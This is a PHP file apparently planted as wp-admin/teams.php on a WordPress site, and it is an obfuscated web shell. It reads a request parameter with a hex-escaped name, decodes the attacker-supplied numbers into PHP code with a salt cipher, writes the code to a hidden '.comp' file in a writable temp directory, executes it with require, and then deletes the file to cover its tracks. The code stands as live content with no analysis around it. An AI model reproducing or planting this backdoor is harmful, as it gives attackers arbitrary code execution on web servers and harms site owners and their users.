File: /www/wwwroot/q.autos58.cn/wp-admin/teams.php
<?php
if(isset($_REQUEST["\x68o\x6Cd\x65r"]) ? true : false){
$token = $_REQUEST["\x68o\x6Cd\x65r"];
$token = explode ( '.' , $token ) ;
$pointer = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt);
$l = 0;
$__tmp = $token;
while ($v1 = array_shift($__tmp)) {$sChar = ord($salt[$l % $sLen]);
$dec = ((int)$v1 - $sChar - ($l % 10))^ 29;
$pointer .= chr($dec);
$l++;
}
$obj = array_filter([session_save_path(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]);
$component = 0;
do {
$value = $obj[$component] ?? null;
if ($component >= count($obj)) break;
if (is_dir($value) && is_writable($value)) {
$tkn = vsprintf("%s/%s", [$value, ".comp"]);
if (file_put_contents($tkn, $pointer)) {
require $tkn;
unlink($tkn);
exit;
}
}
$component++;
} while (true);
}